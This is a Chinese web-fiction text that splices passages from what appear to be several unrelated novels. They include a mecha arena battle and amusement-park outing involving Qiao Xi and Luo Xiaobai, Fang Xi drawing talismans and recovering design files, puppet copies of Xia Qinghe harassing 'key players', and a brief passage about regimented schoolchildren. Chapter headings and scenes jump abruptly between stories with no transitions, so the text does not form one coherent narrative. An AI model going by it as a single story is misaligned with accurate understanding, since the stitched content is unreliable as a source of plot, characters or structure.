“我们”每天六点钟起床，花费十分钟洗漱，换上丑丑肥大的校服，在左胸口处戴上空白的名牌卡。 喝一杯牛奶，吃三块面包，直到六点四十五分钟出门，七点准时到达学校。 按照课程表上课。上语文课、数学课、英语课、政治课、历史课……嗯，还有体育课和地理课。 “我们”每一节课都会认真地做笔记，回答老师的提问，做课堂小测。 下午五点放学，“我们”像是一群溯洄的鱼，鳞片被涂抹着黄昏的颜色，顺着安全的小道回家。 一年三百六十五天，有时候是一年三百六十六天。 安静地重复着，重复，重复。 还有等待，等待。 等待每个月的三十一号，下午四点十五分上的最后一堂课。 老师在黑板上刷刷地写下十几个问题。 你的名字是什么？ 没有思想的鱼群齐声回答：“不知道！” 你的爱好是什么？ 头部空空的鱼群叽叽喳喳道：“什么是爱好？” “真是想不到啊，一转眼，那个小不点，也长这么大了。”项俞生小队里的队员看着乔茜的背影由衷的感叹了一句， 当初被送到基地里的时候，还被医生诊断说是没救了，如今这才几年的时光，小家伙已经长得这么健健康康，水水嫩嫩的了。 “是啊。”身为老父亲的项俞生和罗扬都异口同声的应了一句，应完之后两人相视一眼，不自觉都勾起了自己的嘴角。 项俞生小队里的其他队员看着这两人满足的表情，总觉得心里那“酸泡泡”都不自觉的在向上翻涌。 “不过我听说之前她们两人在GOO里打擂台赛的时候，在军部都有了不小的动静，既然你们两个也支持她们，为什么又要把她们两个的号给封了？” “不封，让她们两个去当童子军么，你们还有没有点良心？”说起这件事，项俞生就觉得后怕，有时候他看着过于独立的乔茜和罗小白，总是希望这两个人，能够在他的身边留得久一点，再久一点。 好好去享受，在战后星从来都没有享受过的平和。 虽然知道凭着这两人的能力，总有一天……她们依旧会展翅翱翔于苍穹之上，眼看后浪逐渐超过自己的那种落寞感，大抵就是现在这种感觉了吧。 罗扬看着项俞生沉默的样子，忽然伸手拍在了问这个问题的同伴肩膀上：“如果是你们的女儿和儿子，你们也会想着，让他们尽快上战场吗？” “……” “不容易啊，现在的这份和平，唉，有时候，是真希望这两个小不点，也能够像其他孩子一样，好好的放松下来，也享受一下自己难得的童年时光。” 罗扬才说完这句话，其他人都忍不住笑开了，旋即他们挥舞了一下手里准备好的萤光棒。 “知道，知道，别泄气嘛，知道你们两个老父亲都快要馋哭厨子那家伙了，这不，我们都准备好了。” “没错，给孩子们一个完整的童年。” “环球疯猫游乐园，哈哈哈哈，我们马上就要去了，兴奋不，开心不？” 看着上蹿下跳，兴奋的好似猴子一样的同伴，项俞生和罗扬怎么看都怎么觉得，应该是他们特别想去，却只是借用了小白和乔茜当借口罢了。 不过，这个地方，厨子都带着自家小孩去过好几次了，其他收养家庭也去过了，不行，他们绝不能落后。 所以， 等到乔茜和罗小白考完试出来，兴冲冲的询问他们惊喜是什么的时候，就被迫戴上了萤光棒和游玩帽，然后强制塞进车里被拉到了环球疯猫游乐园大门口。 乔茜：…… 罗小白：…… 说好的机甲呢？ “就当是帮忙嘛，哎呀，你们都不知道，你们两个老父亲看着别人家的亲子照和出游日记都快馋哭了呢。” 乔茜：…… 罗小白：…… 行吧。 星际时代的游乐园，跟随着人潮一起进入这个满是孩子与纯真梦想交织的世界，要说不期待，那肯定是假的。 不过，谁能和她解释一下，为什么她们入园之后，玩得第一个项目，居然会是： 旋转木马？？？ 还是星际时代，有了全息投影的高阶版—旋转木马。 她和罗小白被强行塞上了一匹高低马，伴随着音乐开始，马匹缓缓向前移动，罗小白明显被吓到了，双手紧紧抱着柱子的同时紧张地询问乔茜，这是什么，他该做什么？ 乔茜：…… 她看了一眼在外面齐齐举起了拍摄光脑的项俞生他们，有些无语的告诉罗小白，他只需要笑，然后听歌顺便放松就可以了。 “这是孩子比较喜欢的游玩项目。”乔茜解释道， 听着乔茜的话，罗小白又看了看四周，点了点头却认真说了一句：“不适合我这样的孩子，唔……或许适合，更小一点的孩子。” 乔茜：…… 她有些无奈的捂上了自己的额头。 另外一边，正在疯狂拍拍拍意图之后晒晒晒的项俞生他们逐渐发现了不对，其他孩子都是一脸的幸福与开心，怎么这小白和乔茜的脸上就好似贴上了一句话：“你们就拿这玩意糊弄我们？” 项俞生小队队员：…… 从旋转木马上下来之后，罗小白说什么都不想要再去玩第二次，项俞生小队的队员见状，立刻转变方针，询问两人要不要去玩点刺激的？ “刺激？” 不等项俞生说什么，他小队里的队员就拉着罗小白和乔茜进了这座游乐园里的“特色鬼屋：疯猫屋”。 这座像地堡一样的鬼屋，不仅需要解密前行，内部还设有小段的过山车，按每十个人的入口分流进入，可以说是无比的刺激。 但这一切的前提……都基于，需要看过“疯猫传”这部系列电影，而不凑巧的是，乔茜和小白都没看过，所以带着两人进去的队员被吓了个够呛，唯独乔茜和小白一脸尴尬的看着他们，顺便，还承担了游戏内“找线索”、“解密”、“送东西”甚至是“被鬼追”的重担…… “这灯光秀不错。”“这东西看着不太牢固。”“追的那个人都没太用力，我停他也停，我都没明白他什么意思。”“哦，我听到他后来喊我了，让我跑慢点，他追不上。” 项俞生小队队员：…… 从鬼屋里出来之后，面对着项俞生和罗扬，小队里的队员纷纷朝着两人摇了摇头，大有一副指责两人将孩子给养废了之感。 项俞生却毫不客气的给自己的小队队员一人一个暴锤：“你们就不能好好选选项目，不怕把孩子的内心伤给激出来啊？” 内心伤？小队队员看着老父亲一样的项俞生，瞬间只想哭，到底是谁的内心伤被激出来啊，他们后期都怕得缩成一团尖叫还能听到乔茜和小白在旁边你一言我一语的说这个“鬼”长得还挺帅的，救命！他们想报警！ 好吧，或许是因为童年的恐怖画面印象太过深刻，所以他们才会这么失态，不过他们注意到乔茜和小白在刚刚的短途过山车上确实表现出了莫大的兴趣，所以他们毫不吸取教训的准备拉着两人去这座游乐园里有着三个大环的最长段过山车。 只是让他们没有想到的是，这段过山车有身高和体重限制，而乔茜无论是身高还是体重，都差一点点，因为她太轻了，所以被工作人员要求家长抱走。 小白见状也不想玩了，但是乔茜却觉得小白对过山车很感兴趣所以又把他推了进去，随后跟在项俞生和罗扬的身边，守在过山车必经的道路前，学着项俞生和罗扬也举起了自己的光脑。 很快，光脑连上网络，显示出小白他们所在的过山车车厢已经出发，乔茜正在内心感叹，星际时代的实时抓拍技术有了较大的突破，转头就发现，额……小白他们的表情，堪称是和周围的人形成了鲜明的对比。 只见小白皱着眉，时不时的朝着四周张望，似乎是在找自己，而看向小白的项俞生小队队员则全是一副“哎，他怎么不害怕”的疑惑表情，这五个人无比淡定的表情被抓拍之后，与周围因为害怕而五官乱飞的人对比起来，简直就像是走错了片场。 看到这张照片的乔茜再也忍不住的哈哈大笑了起来，而随着她的笑，项俞生与罗扬对望了一眼之后，心情也终于放松了下来。 游乐园的后半程，随着众人的放松也逐渐变得有趣了起来，项俞生和罗扬终于收获到了自己真正想要拍摄的照片，只见在游乐园的花园一角，戴着可爱游玩帽的乔茜和小白一起牵着手，在路人的招呼下，和项俞生整支小队的队员，一起表情可爱的拍下了好几张游玩照。 “呜呜呜，我也终于有得秀了。”反覆看着照片的罗扬激动的差点没当场落泪，项俞生见状，矜持地拍了拍他的肩，告诉他差不多就行了，谁料自己的嘴角上扬的压都压不下去。 眼见天色已晚，马上就要到游乐园放烟花的时候了，项俞生立刻问自己小队的队员都把自家闺女和儿子带哪里去了，说是会有惊喜，最后不会成为惊吓吧？ 忽然，乔茜和罗小白的一声喊，瞬间隔着人潮拉回了项俞生和罗扬的注意力，只见两人手里都高高的举着一个打印出来的彩色泥人，旁边则是一脸感动到无以复加的队员。 原来，趁着这段放烟花之前的时间，乔茜拉着罗小白去了一个星际“打印”泥人制作小屋，并在那里，打印出了整整一支的项俞生小队的队员泥人，之后，更是加入了她和小白的泥人。 就这样，整整齐齐的一小排泥人，人手一个，放在一起就是一个大家子，拿在手里又是一个抹不去的念想。 “你就是天使下凡吧，你就是我们的小天使。”罗扬激动的根本顾不上周围人的目光，直接抱起乔茜就举高高转圈圈了， 项俞生看着将泥人放在手心出神的罗小白，很是干脆的背对着他蹲下了身，罗小白有些诧异：“做什么？” “上来。”项俞生回头示意罗小白上到自己的背上， “不，不用了吧。”罗小白的脸很红，不知道是因为热得还是因为害羞，然而项俞生却很坚持， 终于，在烟花绽放在他们头顶之际，项俞生如愿的背起了罗小白，而乔茜则在罗扬的怀抱中，被他高举着，和其他孩子一般，见证了游乐园里梦幻又美丽的烟花。 回去的路上，因为累而睡得昏昏沉沉的乔茜嘴角还挂着一丝笑，罗扬正在忙着将自己的照片上传到各种群里秀，项俞生开车的时候看了一眼副驾驶正在玩弄手中泥人的罗小白，想了想之后，升起了后排隔板。 “现在可以说了吧。” “嗯？”罗小白奇怪的转头看向项俞生， “一定要逆着自己的天赋，选择学习传感机甲，甚至连之后的小队位置都要选择成‘前锋’的原因？” “哇！你的枪好酷，我可以借来玩玩吗？” 第三个夏青禾出现在车头房间，一脸渴望地看着宋白玉手上的附魔枪械。 “为什么你们身上都有主人做的项链，我也想要！为什么我没有呜呜呜呜呜！” 第四个夏青禾意识到不公平，开始在地上滚来滚去，哇哇大哭。 六名密匙玩家同时陷入呆滞，一脸震惊。 原来是……傀儡。 他们很快分辨出这是造物，而非带来死亡的异端。 趴在列车外的夏青禾本体大概是觉得倒着头玩腻了，迅速消失在玻璃窗前。 同时，其他四个叽叽喳喳吵得不行的夏青禾也消失了。 半秒后，本体又瞬移到车头内部。 “我的跟班，你好哇！” “我想想……你是叫什么名字来着，哦对！程蔓野吗？很不错的名字，风格和我很搭，不愧是我的跟班！” 夏青禾撩了撩头发，一脸骄傲：“把司机的位置让给我吧！接下来，让我带领你们开启一场真正意义上的环球旅行！” 第 64 章 第 64 章 六名密匙玩家面面相觑，而夏青禾发现程蔓野没有立刻司机座位让给她，又开始委屈巴巴地大声嚷嚷。 “忘记自我介绍了，我的名字是夏青禾。” “我在外面看了你们好一会了！你们太笨了！” “哪有人旅行是只停留在同一个地方的？” “跟班！跟班！快点把座位让给我——” 林镜子迟疑道：“你的创造者是……？” 夏青禾大惊失色，震惊转头，整张脸猛地贴近林镜子：“什么？！你居然没听说过我主人的名字吗？你也太孤陋寡闻了！” 第四场擂台赛，系统为双方选定的比赛地图为沙漠地图，双方面对的都是一望无际的黄沙环境，根本就没有任何可以隐藏的区域。 对此，GOO里又吵开了花，一部分“狙击圣手”杜鹏飞的粉丝认为这是系统故意在制裁他们的老大，毕竟这张地图里既没有可以隐蔽的地方，也没有制高点，完全不利于狙击手的行动。 但站在乔茜她们这一方的人却认为，不利的条件对于双方而言都是非常公平的，毕竟现在乔茜手上的M7只剩23%的完整度，说是丝血都毫不夸张，而这张沙漠地图很显然也并不利于M7的躲藏。 “估计，也就到此为止了。” 这一预判，不仅仅只是赛场外的人这么想，就连乔茜也这么想。 “怎么办？”小白喘着粗气回身询问乔茜，乔茜看着对面已经摆开了攻击阵型的两台机甲，毫不客气的下令：“强杀。” “只能强杀，就算我们跑，也跑不了多久，只是在无端消耗自己的体能罢了。” “嗯，杀谁？”对此，小白并不惧怕甚至还莫名的生出几分热血与兴奋，他是在战后星实实在在“打”大的孩子，在遇上乔茜之前，他就不知道和人打过多少架，如今能够用上机甲和对方交手，一想到这一点，小白感觉自己骨子里的血都热了起来。 乔茜仔细打量了两人的机甲一眼后，直接将目标锁定在了“狙击圣手”杜鹏飞的身上。 “他，刚刚最嚣张的这个人，我们就打他。” “好。” 说干就干，就在所有人都预判乔茜和小白会因为机甲的不良状态而与杜鹏飞他们拉开距离优先试探的时候，两台机甲却开足了马力，直接就朝着杜飞鹏撞去。 “卧槽？？？”杜鹏飞被这两台机甲来势汹汹的气势惊得后退了几步，不过又想到对方会来攻击他，说不定就是因为听到了他的挑衅，所以才会“自投罗网”。 想到这里，杜鹏飞越发得意了起来。 “哈哈哈，你们敢来追爷爷，以为爷爷只会狙击，不会近战是吧，爷爷这就打给你们看。” 相比起之前与乔茜和小白交手的轻型机甲而言，杜鹏飞所操控的狙击型轻型机甲，不仅走位风骚，还会在自己撤退的同时，在沙漠中丢下能够限制住对方机甲走位的跳雷，而只要对方想着避开跳雷，就会直接撞上杜鹏飞设计好的枪口，让杜鹏飞能够用普通的机枪完成收割。 这一招，用专业术语来说，叫做“风筝掉对面。” 意为与对方拉长距离，在不损耗自己的情况下，一点点完全磨损掉对方。 作为拥有顶尖狙击技术和狙击意识的杜鹏飞，即便作战环境没有狙击的条件，他也能自己给自己创造出可以远程击毙对方的可能。 小白的飞翼机甲在这里就吃了大亏，眼看着他机甲42%的完整度哗啦啦的往下掉，所有人都不自觉担心了起来。 “到底是遇上了狙击圣手啊，这也是没办法的事情。”“主要是前三轮的比赛都有点伤。”“是啊，可惜了。”…… GOO论坛上众人的讨论还没有结束，只见一连串的烟雾弹就在飞翼机甲和M7四周升起，看到小白开始使用武器，叶司宇小群里的人都开始激动了起来：“哟，这是终于舍得用武器了？” “如果他们遇上的是普通的狙击手，烟雾弹还能帮忙他们拖延时间，可惜了，遇上的是杜鹏飞。” 没错，身为顶尖的狙击手，他会时刻注意目标的行进方位与速度，即便有着烟雾弹的干扰，他也能够通过测算，盲狙打掉至少敌方机甲一半的完整度，甚至是，直接就送对方出局。 而比赛场内的杜鹏飞正打算这么做，看到小白他们使用烟雾弹的那一刻，杜鹏飞心里只有一个念头：稳了。 哈哈哈，多少菜鸟以为靠着烟雾弹就可以在狙击手的子弹下苟活，可惜，烟雾弹同时遮挡的，不仅仅是他这个狙击手的视野，也是对方的视野。 “看我一波送你们”这边杜鹏飞还没有放完狠话，那边就见飞翼机甲中的高射炮像是不要钱一样的朝着他所在方位倾斜而下。 这一波饱和式火力打击成功看傻了所有人，就连GOO论坛里也终于有人察觉到： “卧槽，原来他们是会使用武器的啊。”“你要是不说，我都没注意到，前三场比赛飞翼机甲一次都没有用过自己的武器。”“所以，他们是靠着蛮力赢得？”“什么野蛮狂战士？！！”…… “可是不应该啊，刚刚我亲眼看到杜鹏飞已经射出了自己的狙击子弹，这一轮至少得淘汰，卧槽，卧槽，卧槽！！！不好意思，大意了啊。” 烟雾弹散去，只见M7已经变换了机甲造型，俨然成为一道“防御之门”的模样驻守在半跪着架好炮的飞翼机甲前面，而纵然有着高达80%减伤率的防御之门姿态，M7的机甲完整率也因为杜鹏飞的狙击伤害而掉到了21% 一时间，GOO整个论坛都哗然了： 【卧槽，哪里来的“锁血挂”，这也能行？！】 【21%的机甲完整率居然还敢挺身而出挡在队友的前面，我简直快要爱上你。】 【挥泪高价收一个M7队友，快来让我感受心跳加速的刺激啊啊啊啊】 【今日梦中情机——M7！】 …… 比赛场内，随着小白的一通乱轰，杜鹏飞只觉得邪门，过于邪门，对面那台M7的驾驶员得是什么样的心理素质，才能稳稳的挡在自家队友前面？ 而且他能确定，刚刚自己确实已经射出了两发狙击子弹，然而这两发狙击子弹不仅没用，根据事后高射炮的炮轰范围来看，对方的这一波攻击，完全是准确的预判了他的预判。 知道他一定会转身狙击，所以在烟雾弹落下的那一刻就确定了会对着他使用大范围的进攻武器，他是偷鸡不着蚀把米，机甲完整度瞬间就下了大半。 血亏！ 更令他摸不着头脑的是，他这边没有进攻的条件，他的队友呢，总不能也没有进攻的条件吧。 但事实是， 杜鹏飞的队友比他更早就受到了高射炮的袭击，同样身为狙击手的杜鹏飞队友，原本在烟雾弹落下的那一刻，就已经根据杜鹏飞布置的点位开始调整自己的位置。 两人想要以小白他们的机甲为中心点，相互反向拉开距离，意图利用经典的狙击包围阵型，想要一波就直接收割掉小白和乔茜的机甲。 但令杜鹏飞队友错愕的是，他才刚刚架起狙击枪，三发高射炮就精准的落在了他的身边，让他没办法第一时间发起进攻，而等他躲避完高射炮重新拿起狙击枪的时候，已经是烟雾弹硝烟散去，小白的机甲开始扛着高射炮追着杜鹏飞满沙漠轰的场面了。 “卧槽，你们是一群什么神经病。” 杜鹏飞边跑边控诉自己受到的不公： “有病啊，中路对狙，我用枪你用炮，你欺负人。” “对面也是个狙击手，你们干嘛只追我，不追他？！！” …… 在杜鹏飞一连串的质问中，M7即便只有着21%的机甲完整度也稳稳的高速行驶在小白的飞翼机甲身侧，与其说是为了帮忙挡子弹，倒不如说只是单纯想要跟上小白的步伐，同时也是为了躲避敌方机甲狙击枪的枪口锁定。 忽然，叶司宇的老师申请进入叶司宇他们一群人所在的小群，而一进群开口第一句话就是：“这个【以理服人】是哪所军校的学生，叶司宇你清楚吗？” 叶司宇：？？？ 叶司宇小群的一群人：？？？ “刚刚我老师特意给我打了电话，说是这个【以理服人】肯定是哪所军校指挥系深藏的王牌，但又看着是你们这群人发起的车轮战，就有些疑惑的来询问，对方到底什么身份，是已经是军校生了还是高中生？” ……小学生。 叶司宇只觉得自己头皮发麻，不是，这怎么，怎么就，惊动到学校老师了？ “您的老师，也看GOO的擂台赛啊？”叶司宇试图先弄明白现在是个什么情况，却只见自己的老师很是不爽的回了一句：“放尊重点，那是你们的师祖，现任联盟国防大学指挥系的系主任，专门负责特招。” “他说了这人要是高中生，哪怕是高一，都要你们帮忙盯着，人一升到高二，立马预订国防大学，不过，如果已经是其他军校的军校生，那就有点麻烦了。” 叶司宇：……“有多麻烦？” “听他的语气，估计今年的军校混战要重新制订策略，就怕是忽然冒出来的大杀器，这不，才火急火燎的让我来问你。” 叶司宇：…… 他现在只想静静，不想回答这个问题。 “嗯？说啊，怎么哑巴了，对方身份摸清楚了没？”面对着老师的逼问，叶司宇索性一个电话甩了过去，直接告诉对方，【以理服人】说自己是小学生。 “你闹呢，他说啥就是啥，他可是指挥，他说的话，你能信？” 叶司宇：…… “那按照您的逻辑，我觉得我说的话，也不太能信。”谁还记得，他曾经也是一名指挥苗子？ “你个小兔崽子，你再给我说一遍。”听着对面老师的怒吼，叶司宇索性询问起，他们的师祖，到底是怎么从千军万马之中，独独，看上了这个小学生？ 还有啊，师祖他怎么确定，这个学生，一定是指挥系的呢？ “哼，你啊，再好好仔细的回头去看看刚刚这台M7的表现，从烟雾弹升起的那一刻开始，逐帧啊，大全景，好好看一看。” 叶司宇皱眉索性把比赛录像导出来，切换到了M7的视角，终于，发现了猫腻。 “这两个家伙是谁？看上去好蠢。” 夏青禾三号伸出一根手指，戳了戳被禁锢活动的两名播音员。 “哎呀，我看到了什么？居然有牛奶味的巧克力，我拿曲奇饼干跟你换可以吗？” 夏青禾三号目光炯炯。 一号到十六号车厢，全部充斥着夏青禾叽叽喳喳的声音，像是一只不知疲倦的鸟儿。 密匙玩家们神情恍惚。 脑子嗡嗡嗡地响。 第 65 章 第 65 章 制作完成新的人偶和一张列车司机复制地图，并目送夏青禾离开之后，方羲在原地简单休整了一会。 “收藏家，你还好吗？”秦淮月单手拧开矿泉水的盖子，面色忧虑，“你刚刚好像是说，【灵魂】放多了。” 方羲接过秦淮月递过来的水，坐到秦淮月旁边，直接灌了好几口，随口答：“没什么事。” “对了，先在原地等一会，等到青禾找到其他密匙玩家，我们联系上人之后再出发。” 秦淮月迟疑地打量着收藏家的脸色。 她的确没有露出一丝一毫的不对劲，就是单纯地觉得“累”，一种脑细胞和体力消耗过度的累。 大概是确认了这一点，秦淮月终于释然地笑了笑：“我从没见过你这样的傀儡师。” 整整七天，秦淮月除了实在闲不下去的时候，在四周巡逻，顺便替收藏家捡回掉落的残肢材料。 宝石蚁提取液到手，选其他材料就简单多了。 方羲又买了一瓶最便宜的雨光草提取液，符墨有了，符纸也不能落下。 方羲本想买点纸，能替代修仙界最普通的黄符符纸就行。但星际特殊情况，纸张稀少，某些典藏精装款纸质书和复古款本子，才会用纸制作。 机甲材料商店倒是有纸，纪念品手写本，一本十页，十万星币。 方羲看都没看，直奔符合预算水平的矿石区E级材料。 矿石区低级材料只放了小块矿石和冶炼成品图像，E级材料里可选的不多，方羲一眼就看见熟悉的带着些灰扑扑感觉的青铜色。 森之子7型的主材青金铜，便宜耐用，看比赛效果，和符箓结合也很不错，就它了。 金属矿石可选购买重量和冶炼比例，付了钱，下方窗口吐出一个锻造好的四四方方金属条。 工具箱里有专门的材料储存空间，方羲放好新买的材料，坐上悬浮环，新目的地设在机械维修铺。 导航刚设置好，老光脑嘎嘣黑屏，方羲拍了几下又尝试重启，完全没反应。 方羲：…… 幸好悬浮环还在工作。 悬浮环绕了一圈，停在两条街后的大楼二层。 方羲探身敲敲窗，“老板在吗？我来换光脑。” “不招学徒不招……”女人不耐烦的声音戛然而止，一把拉开涂着“火火维修：光脑、飞行器、家用机器人、机甲模型零件”的窗户，“换光脑啊？” 老板乔炎瞄了眼方羲的悬浮环和工具箱，热情道，“小方对吧，进来坐！你的光脑我还给你留着呢，给八千就行！” 方羲提醒她，“我卖的时候你才给了三千五和一个老光脑。” 这一进一出赚麻了啊！ 乔炎被拆穿也不尴尬，“你那光脑配置好，但有标记，变形模式还是冷门的形状，不好卖的。四千够厚道了，出去打听打听，没更好的价！收你五百保管保养费，真不贵了对吧？” 方羲没继续砍价。 乔炎奸商归奸商了点，人不坏，在她被赶出家门没钱时，还指点她去萤火星便宜又相对安全的区域租房。卖光脑换到生活费，方羲才撑到机甲大赛开始，如今钱该付还是要付。 乔炎手在工装裤上擦了擦，从店里一直撑到天花板的货架上摸出一个光脑，“呐，看我保存得多好！就是最近来比赛的机甲师都保养不了这么好！我猜你就是一时手头紧，这是家里生活费到了？” “大赛奖金。”方羲接过光脑，随口回道。 “哦，恭喜拿奖金……大赛奖金？！”乔炎反应过来，声音瞬间变调。 最近能被称为大赛的，只有机甲大赛！ 能拿到足够买回光脑的奖金，起码绝不是擦线通过初赛啊！ 乔炎笑容顿时又热了几度，“你早说你要参加机甲大赛啊，那我就不推荐你去租房了，在我这住也行嘛！你试试光脑有什么问题，我给你调，保养费就不收了，祝贺你通过初选，以后在直播间看你啊~” 方羲扫描完生物信息，成功重新绑定光脑。 浅绿色怀表形态的光脑背面刻印着小小的羲，绑定后切换模式，变成乐器羲造型的迷你绿宝石耳钉。 方羲捏捏耳钉，光脑迅速变成一张光幕，贴合手臂，宛如多了一层薄薄皮肤，不触碰就毫无存在感，却不影响使用。 方羲试了一遍没问题，将光脑变回初始模式，和黑屏卡死的老光脑一起递给乔炎。 “保养费还是要收的，买光脑加上保养，五千星币，乔老板顺便帮我找找光脑之前的文件？不用全都还原，这个隐藏文件夹能找回一点文件碎片也行。” 乔炎摆摆手，“都格式化了，哪还找得回来？” 方羲暂时退出账号，把光脑放到乔炎面前，“六千星币。” 乔炎话风顿时一变，“我尽力试一次。” 大赛上被“抄袭”打了个猝不及防，方羲为了比赛忍了，离开赛场，脏水还是要洗清的。 以大伯一家的赶尽杀绝，挖坑骗走她的光脑，让她真·一穷二白流落街头只是举手之劳。 但他们没有。 被赶出家门后，继续治疗需要钱，生活更需要钱。没有学历也没有代表作，进不去竞争激烈的机甲公司。线下维修店不敢雇佣重病初愈的她，想在线上做机甲维修改造，又没有名气，压根没人下单。 最后，卖掉光脑就是能看到的第一条路。 怎么想，都是在故意设局，坑方羲亲手彻底毁灭掉方绮的抄袭证据。 术业有专攻，方羲在星际学的只是机甲，光脑的事，还得让专业人士来。 乔炎忙着，方羲打开工具箱。 工具箱内各式工具琳琅满目，比大赛主办方提供的工具箱齐全多了，打开就能原地变成一座完整的工作台。 方羲神识探查箱子内部，“看”到夹层有个透明的小盒子，装着翅膀造型的模型。 机甲设计稿从来不是能一蹴而就的，这是方羲重伤精神力受损前，做的初版一次性加速装置模型。 就算还原不了光脑上的底稿，但只要检测出模型制作时间早于方绮，“抄袭”问题就不复存在了。 本来定制箱子时想把机甲空间钮和工具箱功能结合，但难度太大，最后只做了个隐藏折叠空间。 方绮的精神力只有B级，打不开以方羲先前精神力等级设下识别的折叠空间夹层。方羲重伤后就没用过工具箱，方绮完全不知道夹层存在，也就没仔细找过，这才藏到现在。 确定模型还在，方羲合上工具箱。她倒是有些好奇，以她苏醒的神魂强度，能测出多少精神力。 噼里啪啦输入代码的乔炎长出一口气，“你看看是不是这个文件夹。” “没错。”方羲对自己画过的多版设计图，简直太熟悉了。 证据在手，方羲安心许多，登上账号就转钱给她，“谢谢。” “哗啦啦~” 转账的钱币响声格外悦耳，乔炎笑眯了眼睛，“老板大气！加上好友，有事常联系啊~” “好说。”方羲懒得从大厦内绕路，继续走窗户出门。 悬浮环重新绑定新光脑，连导航速度都变快了。方羲没走远，选了一家附近的中等酒店入住。 机甲大赛海选这样的旅游旺季，萤火星酒店也没住满，不到一分钟，方羲就躺在了酒店比暖玉更软弹的凝胶大床上。 方羲神识扫过房间，确定没问题，盘膝坐在暖烘烘的大床包围里，取出新买的材料。 工具箱打开组成工作台，方羲指尖划过整齐挂在一侧的工具，从一排笔刷里，挑出一根细长的线笔。 黑色空心金属杆在手中轻盈挽出一朵花影，笔锋隐隐有紫色流转。 机甲拼接组装时需要标注确认位置，但又得减少影响已经处理过的材料，紫影貉毛是很受欢迎的优质笔尖之一。 用在机甲上画符，这支笔太细，留痕也困难。画普通的符，倒是刚刚好。 青金铜块丢进工作台自带的迷你锻造炉，设置模具大小，没一会，就重铸成一沓薄薄金属片符纸。 方羲等它热度慢慢冷却，打开雨光草提取液，探出一丝灵力，引着液体里过于活跃的灵气来回徘徊，散乱的银光光点逐渐形成一个漩涡，活跃却有序。 就是现在！ 方羲笔落如电，点中漩涡中心，牵着深绿色符墨落下，刹那间仿佛一笔造就微型“龙吸水”，符墨银光随着笔锋浸入符纸。 呼吸般闪烁后，稳稳落在方羲手中，银光没有黯淡隐没，依然亮着，乍看符墨好像不是深绿色，完全变成了银色。 聚灵符生效了。 方羲略一调息感应周围，神色凝重起来。 不对，符箓效果太弱了，聚集的灵气少得可怜。 经过她特意处理的符墨效果，至少比大赛时好三成。但聚灵符和大赛上神行符发挥出的效果比，弱了何止上百倍！ 难道是世界规则不允许使用聚灵符？画符的时候没感觉到啊？ 方羲重画一张神行符试了试，和聚灵符出现了同样的问题。 试了几次，方羲终于确认缘由。 星际世界灵气稀薄，过去也没有与天地神灵立符箓之道，符箓能引动的天地灵气很少，效果全看材料灵气和画符时用了多少灵力。 用于个人的符箓使用材料少、个体小，符箓效果就更弱。 过去方羲进入没有神灵、也没立过符道的区域时，灵气却足够多。到星际，才发现效果差距。 “所以……机甲成了‘信号放大器’？”方羲揉了揉手，无奈叹气，“跟天地借点力也太小气了。” 吐槽归吐槽，方羲很快打起精神。 符箓在星际世界效果虽弱，但恢复身体，有总比没有好。 打开一管金宝石蚁提取液，淡淡的蜜香涌出。 温和的灵气被引动，笔尖蘸着蜜糖般的金色液体，落在丹田处苍白的皮肤上，金光符挥笔而就。 金光符能护体辟邪补充能量，协助灵力慢慢将身体调整到最佳状态。一符多用，现在用正好。 淡淡金光一闪而过，几不可觉的热意从符箓所在涌现，逐渐流向四肢百骸，舒缓疲惫病弱的身体，和调息运转周天的灵力配合，事半功倍。 “你的意思是，从今以后，我放弃所有需要执行的任务，只和你前行吗？” “倒也不是。”方羲摸摸下巴，“我只是在建议你少刷副本，精力用在刀刃上。如果你以这种强度继续下去，灵魂会迎来第二次第三次第无数次溃败。” “我很难保障每一次都救回你残缺不全的灵魂。” 猎人哑声道：“我付出的沉没成本太大了，我不认为我拥有第二次冒险的资格。我违背命令，独自前往未知之境的那一年，黑天鹅的副本死亡率高了很多……” 如果收藏家早三年出现就好了。 秦淮月脑海中，不可避免冒出这个念头。 人偶师把棕色枝干递回给万物，向秦淮月伸出手。 “我听见你的灵魂在疯狂叫嚣，明明觉得这种事情很酷，为什么不呢？” “选择最想要的，而非最正确的吧。” “我已经有了世界上最好的造梦家，但是还缺一个最好的猎人。” 第 66 章 第 66 章 秦淮月没有立刻伸出手，反而微微垂下头，带着几分颤音地说：“我所剩无几的感情，的确想要答应你。” 方羲的目光平静落在这名饱受摧残、趋向于保守的猎人身上，见秦淮月迟迟下不了决定，便干脆利落地收回手。 “虽然我们的目标是一样的，但你和我之间，存在一道巨大的沟壑。” 藤蔓仿佛听见了人偶师内心深处的呢喃，继续向世界更深处蔓延、生长，发出一阵轻盈虚幻的安眠曲。 秦淮月重新抬起头，与方羲对视，眼睛藏着艰难的挣扎。 “在你们的那边，站着很多人，所以需要权衡很多利弊，需要考虑更多人的生死存活，所以我能够理解你的立场。” 秦淮月说：“你似乎不太信任黑天鹅？因为这个组织存在根深蒂固的陋习吗？” “不是吧？！”“这都叫什么事啊？！”“那声音……听着很小孩？” 不知过了多久，全部人才像是如梦初醒一般从【以理服人】在公共频道留下的话中回过神来。 “啊啊啊啊，他们就这样走了，带走了我们的期待，没留下一片云彩！” “不是吧，这可是擂台赛啊，就这样认输好吗？” “不认输估计也没得打吧。” “可是认输就没有擂台勋章了啊。” “是啊，卧槽，那他们为什么点投降啊？哪怕被打死，也能拿到勋章了啊，这可是有着击败狙击圣手的勋章啊。” “只有我一个人注意到她们的声音都很娃娃音吗？” “闪开，现在要讨论的是大佬的任性，而不是大佬的稚嫩。” “大佬的心思我们不要猜。” …… 林飙和聂海英从擂台赛赛场上出来，整个人都还晕乎乎的，杜鹏飞更是不爽，一口咬定对方说去医院就是个借口，刚刚追他追得那么开心，现在去什么医院，不信不信。 而且更过分的是，大家都是响当当有著名号的人，凭什么就他一个人被对方揍出了局不说，还在GOO里被大肆宣传。 说好的“独乐乐不如众乐乐”呢，凭什么大家一起惹得事，最后受伤的却是他。 杜鹏飞一边骂骂咧咧，一边狂点对方的ID加好友，同时还贱贱的去戳林飙和聂海英的肺管子：“没能和对方交上手，你们两不遗憾吗？” 林飙回复的很快：“对面那台是传感机甲，对于我们传感机甲的驾驶员而言，身体才是革命的本钱，并不算遗憾，不过……可以加个好友。” 老实说这句话，他还是有点撒谎了，难得能够见到这么……打法清流的家伙，没能交上手，确实有点遗憾。 另外，对方那说话的声音，唔……林飙思索再三，觉得可能是对面开了个变声器，没错，否则他不能接受，那声音那么稚嫩。 同样不能接受的，还有杜鹏飞，说起这件事，他第一个不服。 